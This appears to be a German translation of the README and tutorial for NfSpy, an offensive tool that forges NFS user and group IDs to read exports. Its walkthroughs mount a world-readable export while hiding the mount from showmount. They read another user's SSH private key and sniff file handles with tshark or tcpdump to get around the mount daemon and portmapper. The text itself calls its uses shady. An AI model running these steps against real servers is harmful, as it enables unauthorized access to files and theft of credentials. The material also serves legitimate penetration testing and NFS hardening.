
NFS-Client mit ID-Spoofing
von Daniel Miller
NfSpy ist eine Python-Bibliothek zur Automatisierung der Fälschung von NFS-Anmeldeinformationen beim Mounten einer NFS-Freigabe. Enthalten sind zwei Client-Programme:
nfspy verwendet die Bibliothek Filesystem in Userspace (FUSE), um eine NFS-Freigabe in Linux zu mounten. Dies ermöglicht die Verwendung beliebiger regulärer Dateisuch- und -bearbeitungsprogramme wie grep und find, um den NFS-Export zu durchsuchen.
nfspysh ist eine ftp-ähnliche interaktive Shell zum Durchsuchen von NFS-Exporten. Sie benötigt die FUSE-Bibliothek nicht und kann daher auf Nicht-Linux-Plattformen ausgeführt werden.
NFS vor Version 4 verlässt sich bei der Authentifizierung auf Host-Vertrauensbeziehungen. Der NFS-Server vertraut darauf, dass alle Client-Maschinen Benutzer authentifizieren und dieselben Benutzer-IDs (UIDs) zuweisen, die das gemeinsame Dateisystem verwendet. Dies funktioniert beispielsweise in NIS-, NIS+- und LDAP-Domänen, aber nur, wenn man weiß, dass die Client-Maschine nicht kompromittiert ist oder ihre Identität fälscht. Der Grund dafür ist, dass die einzige Authentifizierung im NFS-Protokoll die Übertragung von UID und GID (Gruppen-ID) ist. Es gibt einige Möglichkeiten, die Sicherheit von NFS zu erhöhen, aber viele davon sind unvollständige Lösungen, und selbst mit allen drei hier aufgeführten Maßnahmen könnte es immer noch möglich sein, die Sicherheitsvorkehrungen zu umgehen.
Der Server oder die Freigabe (im NFS-Jargon „Export“) kann mit root_squash konfiguriert werden, was bedeutet, dass alle Anfragen, die vorgeben, UID oder GID 0 (root) zu sein, wie der Benutzer nobody oder das entsprechende Äquivalent auf dem System behandelt werden. Dies verhindert nicht, dass ein Angreifer eine andere UID/GID-Kombination fälscht, schützt aber die sensibelsten Informationen und Konfigurationen auf dem Export.
Eine weitere Einstellung, die aktiviert werden kann, ist nfs_portmon, die Anfragen von Quellports außerhalb des Bereichs 513–1024 ablehnt. Da normalerweise nur root diese Ports belegen kann, verhindert dies, dass ein normaler Benutzer auf einer vertrauenswürdigen Maschine einen eigenen NFS-Client schreibt und verwendet, der UID/GID fälscht. Es verhindert jedoch nicht, dass ein böswilliger Host, ein Benutzer mit su-Rechten oder eine auf Root-Ebene kompromittierte Maschine dasselbe tut.
Freigaben/Exporte können so gesteuert werden, dass nur bestimmte Maschinen darauf zugreifen können. Diese Zugriffskontrolllisten können Folgendes enthalten:
Die beste Konfiguration wäre die Verwendung einer Host-Liste, da eine Abfrage des nfs-Daemons nur den Namen der Liste liefert, nicht jedoch die darin enthaltenen Adressen oder Namen. Als Nächstes wären IP-Adressen oder Hostnamen zu nennen, da diese schwerer zu fälschen sind. IP-Präfixe und „everyone“ sind Anzeichen für Unsicherheit, da nur wenig oder gar keine Einschränkung besteht, welche Adressen sich verbinden können.
Eine Liste der Optionen erhält man durch Ausführen von
nfspy --help
Auf 192.168.1.124 läuft ein NFS-Server.
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)
Mounten Sie die Freigabe. Die Verwendung von sudo ermöglicht es, sich an einen privilegierten Port zu binden, und die Option allow_other erlaubt jedem Benutzer die Nutzung des Dateisystems. Die andere neue Option hier ist „hide“, die die Freigabe auf dem Server sofort „unmountet“, aber den erhaltenen Filehandle behält. Dies verbirgt Ihre Anwesenheit vor allen, die showmount -a verwenden.
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt
Genießen Sie Ihre neu gewonnene Freiheit!
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>
Zum Unmounten verwenden Sie fusermount:
$ sudo fusermount -u /mnt
Auf 192.168.1.124 läuft ein NFS-Server. Portmap ist blockiert, daher können Sie keine Liste der Freigaben erhalten, aber Sie können den Netzwerkverkehr mitlesen.
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
^C3 packets captured
Verwenden Sie nun die Mount-Optionen dirhandle und getroot, um den Mount-Daemon zu umgehen, und die Option nfsport, um den Portmapper zu umgehen. Dabei wird der Verzeichnisbaum bis zum Wurzelverzeichnis des Exports durchlaufen.
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt
Beachten Sie, dass wir keinen Pfad zum Mounten angegeben haben, da wir nur den NFS-Filehandle kennen. Damit dies funktioniert, muss der Handle auf ein Verzeichnis verweisen, nicht auf eine Datei, und Sie müssen schnell arbeiten, sonst wird der Handle veraltet.
Das Programm tshark ist Teil des Wireshark-Projekts. Das bekannte Programm tcpdump kann mit der Option -u ebenfalls NFS-Filehandles dekodieren:
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]
Bei diesen Filehandles handelt es sich um 4-Byte-Werte, die durch Doppelpunkte getrennt sind. Sie müssen sie also selbst mit Nullen auffüllen; NfSpy entfernt lediglich die Doppelpunkte, was nicht korrekt ist.
nfspysh akzeptiert im selben Format wie nfspy denselben grundlegenden Satz an Optionen, daher sollte das obige Tutorial problemlos funktionieren. Die Liste der Befehle kann mit dem Befehl „help“ angezeigt werden.
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775 1000 1000 4096 2013-04-13 23:20:37 .
040775 1000 1000 4096 2013-04-13 23:20:37 ..
040775 1000 1000 4096 2013-04-11 06:36:48 public
040775 1000 1000 4096 2013-04-13 23:26:40 more
040700 0 1000 4096 2013-04-11 06:39:12 secrets
100666 1000 1000 5 2013-04-13 23:28:02 README.md
120777 1000 1000 21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
cd
chmod
chown
exit
get
help
lcd
lpwd
ls
mkdir
mv
put
pwd
rm
rmdir
umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]
Retrieve <filename> and save to <localname>. If no <localname> is given,
defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.
Schreibzugriff ist Beta. Es hat in meinen Tests auf einigen Systemen funktioniert, könnte aber mehr Tests gebrauchen. Aus diesem Grund mountet NfSpy standardmäßig mit ro. Geben Sie die Mount-Option rw an, um dies zu ändern. (nfspysh hat keinen Nur-Lese-Modus. Seien Sie vorsichtig!)
NfSpy funktioniert nicht mit den Standarddiensten lockd und statd, was beim Schreiben von Dateien zu Problemen führen kann. Für Nur-Lese-Zugriff und die meisten zwielichtigen Zwecke, für die es gedacht ist, sollte dies jedoch kein Problem sein.
NfSpy unterstützt derzeit nur NFSv3. Zukünftige Versionen werden möglicherweise intelligent eine NFS-Version auswählen.